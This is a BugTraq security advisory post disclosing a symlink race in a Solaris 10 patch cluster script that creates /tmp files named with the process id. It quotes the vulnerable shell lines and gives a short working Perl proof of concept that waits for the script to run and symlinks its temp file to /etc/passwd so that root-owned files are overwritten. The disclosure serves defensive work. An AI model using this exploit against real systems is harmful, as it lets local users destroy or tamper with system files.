BugTraq
Another Solaris 10 Patch Cluster Symlink Attack Aug 09 2012 04:59PM
larry Cashdollar (larry0 me com)
Larry W. Cashdollar
8/6/2012

Here is another symlink attack with temp file creation using process id in Solaris 10 patch cluster. You can over write the contents of root owned files with the contents of inetd.conf.

In patches/137097-01/SUNWcsr/reloc/lib/svc/method/inetd-upgrade

lines :
72 inetdconf_entries_file=/tmp/iconf_entries.$$
73
74 # Create sed script that prints out inetd.conf src line from inetconv generated
75 # manifest.
76 cat <<EOF > /tmp/inetd-upgrade.$$.sed
77 /propval name='source_line'/{
78 n
79 s/'//g
80 p
81 }
82 /from the inetd.conf(4) format line/{
83 n
84 p
85 }
86 EOF

If 137097-01 is applied and changes need to be made to the inetd.conf file a malicious user can over write the contents of a root owned file with a simple script:

#!/usr/bin/perl
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/inetd-upgrade/) {
print "Symlinking iconf_entries.$args[1] to $clobber\n";
symlink($clobber,"/tmp/iconf_entries.$args[1]");
exit(1);
}
}

}

http://vapid.dhs.org/advisories
@lcashdol

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus